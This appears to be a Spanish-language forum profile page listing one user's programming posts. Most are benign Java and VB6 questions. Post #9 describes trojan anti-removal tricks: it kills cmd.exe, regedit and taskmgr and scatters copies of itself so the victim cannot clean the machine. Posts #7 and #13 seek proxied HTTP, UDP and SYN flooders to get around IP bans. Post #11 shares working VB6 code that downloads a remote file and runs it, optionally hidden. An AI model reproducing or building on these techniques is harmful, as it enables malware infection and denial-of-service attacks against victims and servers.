Pues eso, lo que quiero es basicamente ir agregando las URLS de los navegadores a un listbox para crear algo asi como un historial de urls navegadas., alguien sabe de alguna clase o tiene algnu ejemplo? thankss
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Páginas1
#1
Programación Visual Basic / Algun modulo o clase para detectar URLS en Firefox e IE ?
3 Junio 2009, 20:31 PM #2
Java / Dudas con un juego de Poker en java !
16 Mayo 2009, 18:15 PM
Hola buenas, hace unos dias q llevo programando un juego de Poker en consola con arraylists, me he creado tres clases Carta, Juego y Jugador.
Pues en juego tengo una coleccion/arraylist de jugadores .
En juego he generado el mazo de cartas, o sea he guardado en un arraylist el mazo de 52 cartas de tipo carta, ahora lo que me resta hacer es repartir a cada Jugador del arraylist de jugadores 5 cartas del mazo de cartas.. o sea del arraylist q contiene objetos de tipo carta (52) y bueno no se como hacer eso ... o sea como hago para repartilas a cada jugador, en donde las guardo o que, como accedo ??? quizas no este siendo muy explicito xD
Pues en juego tengo una coleccion/arraylist de jugadores .
En juego he generado el mazo de cartas, o sea he guardado en un arraylist el mazo de 52 cartas de tipo carta, ahora lo que me resta hacer es repartir a cada Jugador del arraylist de jugadores 5 cartas del mazo de cartas.. o sea del arraylist q contiene objetos de tipo carta (52) y bueno no se como hacer eso ... o sea como hago para repartilas a cada jugador, en donde las guardo o que, como accedo ??? quizas no este siendo muy explicito xD
#3
Java / Ayuda JAVA consola
10 Mayo 2009, 19:30 PM
Resulta que he implementado lo siguiente:
do {
Consola.println("Usuario:");
usuario = in.readLine();
Consola.println("Password:");
contra = in.readLine();
// verificamos que el usuario exista y contrasena correcta
if (this.modelo.verificaUsuarioyPass(usuario, contra) == true) {
Consola.println("Usuario logueado con exito.");
//this.listarJugadoresJuego();
} else {
Consola
.println("Error: existen 2 posibles errores: ");
Consola
.println("1) Verifique que el usuario y password sean correctos.");
Consola
.println("2) Verifique que el saldo del jugador sea mayor a 10 apuestas base.");
}
} while (usuario != "x");
Estoy utilizando la clase consola.. tonces lo que hace eso es pedirme x consola el usuario y password.. luego verifica si con son correctos, si lo son muestra el mensaje correcto bla bla bla.. de lo contrario no bla bla bla ... tonces eso esta en bucle, la idea es q pida todo el tiempo usuario y contrasena hasta que se aprete la tecla x, mejor dicho hasta que la variable usuario sea = x ... pero no me funciona, o sea apreto la x y no sale ... algo esta mal, alguien tiene alguna idea de como solucionarlo ? thankss
do {
Consola.println("Usuario:");
usuario = in.readLine();
Consola.println("Password:");
contra = in.readLine();
// verificamos que el usuario exista y contrasena correcta
if (this.modelo.verificaUsuarioyPass(usuario, contra) == true) {
Consola.println("Usuario logueado con exito.");
//this.listarJugadoresJuego();
} else {
Consola
.println("Error: existen 2 posibles errores: ");
Consola
.println("1) Verifique que el usuario y password sean correctos.");
Consola
.println("2) Verifique que el saldo del jugador sea mayor a 10 apuestas base.");
}
} while (usuario != "x");
Estoy utilizando la clase consola.. tonces lo que hace eso es pedirme x consola el usuario y password.. luego verifica si con son correctos, si lo son muestra el mensaje correcto bla bla bla.. de lo contrario no bla bla bla ... tonces eso esta en bucle, la idea es q pida todo el tiempo usuario y contrasena hasta que se aprete la tecla x, mejor dicho hasta que la variable usuario sea = x ... pero no me funciona, o sea apreto la x y no sale ... algo esta mal, alguien tiene alguna idea de como solucionarlo ? thankss
#4
Programación Visual Basic / conectar / desconectar adsl
16 Octubre 2007, 20:29 PM
existe alguna forma de conectar y desconectaruna pc a internet mediante vb?
#5
Programación Visual Basic / manejo de strings
12 Octubre 2007, 03:14 AM
hola preciso una ayuda, resulta k tengo un programa k hace una peticion http a un server y guarda la respuesta en un textbox k es la siguiente:
ahora kisiera saber komo hacer para kedarme solo con "http://www.url.com" y guardarlo en una variable de tipo string.
graxias
Código [Seleccionar]
HTTP/1.1 302 Found
Date: Fri, 12 Oct 2007 01:09:02 GMT
Server: Apache
Vary: *
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 12 Oct 2007 01:09:02 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.url.com
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
301
<html><head><meta http-equiv="refresh" content="0; URL=http://www.url.com"></head><body><a href='http://www.url.com'>Please click here ... </a></body></html>
ahora kisiera saber komo hacer para kedarme solo con "http://www.url.com" y guardarlo en una variable de tipo string.
graxias
#6
Programación Visual Basic / url extractor
6 Octubre 2007, 05:11 AM
he encontrado el siguiente codigo para extraer urls de donde sea.. textbox, archivo etc..
por ejemplo lo invoco de la siguiente manera:
bueno por lo visto el codigo extractea urls buscando la palabra href= pero si por ejemplo tengo el siguiente codigo HTML, no funciona:
alguna idea? help!
Código [Seleccionar]
Private Function ExtractURL(strHTML As String) As String()
Dim URLs() As String
Dim search As String
Dim i, x, m As Long
Dim z As Integer
i = 1
x = 1
m = 0
Do
search = " "
z = 5
i = InStr(i, strHTML, "href=", vbTextCompare)
DoEvents
If (i) Then
If Mid$(strHTML, i + 5, 1) = Chr(34) Then
search = Chr(34)
z = 6
End If
x = InStr(i + z, strHTML, search, vbTextCompare)
If (x = 0 And search = " ") Then x = InStr(i + z, strHTML, ">", vbTextCompare)
ReDim Preserve URLs(m)
URLs(m) = URLDecode(Mid$(strHTML, i + z, x - (i + z)))
End If
i = i + 1
m = m + 1
Loop Until i = 1
ExtractURL = URLs()
End Functionpor ejemplo lo invoco de la siguiente manera:
Código [Seleccionar]
'HTML = "<a href=" & Chr(34) & "http://google.com/?bef=123&test=xx" & Chr(34) & ">lol</a>"
Dim mis() As String
mis() = ExtractURL(HTML)bueno por lo visto el codigo extractea urls buscando la palabra href= pero si por ejemplo tengo el siguiente codigo HTML, no funciona:
Código [Seleccionar]
HTTP/1.1 302 Found
Date: Sat, 06 Oct 2007 03:09:46 GMT
Server: Apache
Vary: *
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 06 Oct 2007 03:09:46 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://wawawawawawawa.com/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
2cf
<html><head><meta http-equiv="refresh" content="0; URL=http://wawawawawawawa.com/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml"></head><body><a href='http://wawawawawawawa/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml'>Please click here ... </a></body></html>
0alguna idea? help!
#7
Programación Visual Basic / proxys ...
3 Octubre 2007, 15:58 PM
hola, hice un programa que hace peticiones http tipo flood y lo que se me acaba de ocurrir es que las haga mediante proxys ya que la proteccion del server banea la ip si te pasas de delay de 5 segundos por peticion... alguna idea de como hacerlo con proxys? (ademas de precisar una buena lista)
#8
Programación Visual Basic / url extractor?
17 Septiembre 2007, 21:52 PM
alguien que tenga algun ejemplo de como extraer urls de un codigo en html cargado en un listbox? he visto algunos en planetsourcecode pero no me interesan porque utilizan un richtextbox.. algun ejemplo sin muchos controles raros? xD
graciasss
graciasss
#9
Programación Visual Basic / desinfeccion dificultosa
16 Septiembre 2007, 17:20 PM
ps eso, queria saber si alguien tiene alguna idea de como complicar la desinfeccion de un troyano con vb6, bueno lo k he hexo fue detectar programas en memoria a cada 0,5 segundos como por ejemplo cmd.exe, regedit.exe, taskmgr.exe entre otros utiles para la desinfeccion y cerrarlos si se encuentran abietos de tal modo q la victima no pueda utilizarlos para su desinfeccion, ademas cree varias copias unas 5 por diferentes paths del disco duro.. pero igual a pesar de ello seria muy facil desinfectar el pc entrando a modo prueba de fallos o simplemente con cualquier utilidad de las tantas que permita ver los procesos y finalizarlos.. alguien tiene alguna idea de como hacer para complicarlo mas? de tal modo que tenga de formatear el disco duro para poder removerlo?
grax
grax
#10
Programación Visual Basic / una preguntilla
9 Septiembre 2007, 06:29 AM
resulta que tengo lo siguiente:
y la funcion Conectar bueno utiliza un un winsock llamado WS, creo que no es necesario ponerla aqui, la cosa es que cuando inicio windows normalmente, el timer se activa en el form_load y empieza a chequear todo el tiempo si existe conexion a internet, si conecto a internet todo bárbaro, salta a la funcion conectar pero si luego desconecto ya no vuelve mas a chequear para volverse a conectar d enuevo y asi.. a que se debe eso? que es lo que tengo querhacer para que por cualquier cosa que suceda error, o perdida de conexion vuelva a chequear para conectarse de nuevo?
gracias..
Código [Seleccionar]
Private Sub Form_Load()
Timer1.Enabled = True
End SubCódigo [Seleccionar]
Private Sub Timer1_Timer()
Verifica:
Dim Flag As Long
InternetGetConnectedState Flag, 0
Dim flags As Long
Dim result As Boolean
result = InternetGetConnectedState(flags, 0)
If result Then
Timer1.Enabled = False
Conectar
Else
Timer1.Enabled = True
GoTo Verifica
End If
End SubCódigo [Seleccionar]
Private Sub WS_Close()
Timer1.Enabled = True
End SubCódigo [Seleccionar]
Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
If WS.State <> sckConnected Then
WS.Close
End If
End Suby la funcion Conectar bueno utiliza un un winsock llamado WS, creo que no es necesario ponerla aqui, la cosa es que cuando inicio windows normalmente, el timer se activa en el form_load y empieza a chequear todo el tiempo si existe conexion a internet, si conecto a internet todo bárbaro, salta a la funcion conectar pero si luego desconecto ya no vuelve mas a chequear para volverse a conectar d enuevo y asi.. a que se debe eso? que es lo que tengo querhacer para que por cualquier cosa que suceda error, o perdida de conexion vuelva a chequear para conectarse de nuevo?
gracias..
Código [Seleccionar]
[code][/code]
#11
Programación Visual Basic / función DownloadToFile
7 Septiembre 2007, 22:49 PMCódigo [Seleccionar]
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon.dll" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(url As String, LocalFileName As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, url, LocalFileName, 0, 0)
DownloadFile = (lngRetVal = 0)
End Function
Private Sub Command1_Click()
Dim url As String
Dim file As String
Dim ret As String
url = "http://www.terra.es/personal3/fistror/e/MS03-043.zip"
file = Environ("homedrive") & "\jaja.zip"
Call DownloadFile(url, file)
ret = Shell("start " & Chr(34) & file & Chr(34), vbHide)
End Sub
como ven alli invoco a la funcion downloadtofile y guardo el file como jaja.zip, luego hago un ret = Shell("start " & Chr(34) & file & Chr(34), vbHide) para ejecutar el archivo pero me sale error "no existe el fichero", es obvio que esta ejecutando esa sentencia antes de que el archivo se haya descargado x completo, yo pense en ponerle un sleep pero queda muy chancho, mejor seria intentar ejecutarlo luego de haber temrinado la descarga sin usar un sleep, alguna idea? además esa forma de ejecución no me convence mucho ya que serviria solo para XP y no se si win 2000 creo que no, no?
aqui les dejo la función downloadtofile que va en un módulo .bas para los intreresados en la misma:
Código [Seleccionar]
Function DownloadFile(ByVal url As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
On Error Resume Next
Err.Clear
Set XML = CreateObject("Microsoft.XMLHTTP")
Set ADS = CreateObject("ADODB.Stream")
XML.Open "GET", url, False
XML.send
XML.getAllResponseHeaders
FullSavePath = Environ(SavePath) & "\" & SaveName
ADS.Open
ADS.Type = 1
ADS.Write XML.responseBody
ADS.SaveToFile FullSavePath, 2
If Err Then
DownloadFile = False
Else
If RunAfterDownload = True Then
If RunHide = True Then
Shell FullSavePath, vbHide
Else
Shell FullSavePath, vbNormalFocus
End If
End If
DownloadFile = True
End If
End Functionsaludos!
#12
Programación Visual Basic / control winsock, velocidad de transferencia, paquetes enviados
3 Septiembre 2007, 06:26 AM
el tema es asi acabo de programar una aplicacion cliente - servidor que sirve para transferir archivos mediante el control winsock y la pregunta es, hay alguna forma de determinar la velocidad de transferencia media con que se envió el archivo? y la cantidad de paquetes enviados en bytes o lo que sea?
gracias de antemano
gracias de antemano
#13
Programación Visual Basic / UDP flooder en VB6
30 Agosto 2007, 21:20 PM
hola quisiera saber si alguien tiene por ahi algun codigo de ejemplo de UPD flood en visual basic 6 utilizando el control winsock y aprovechando al maximo la conexion, de http flood y de syn flood tambien si es posible,o de ultima algun manual o guia para proceder como hacerlo, yo he hecho algo asi como un flooder pero la verdad es que no me convence
Páginas1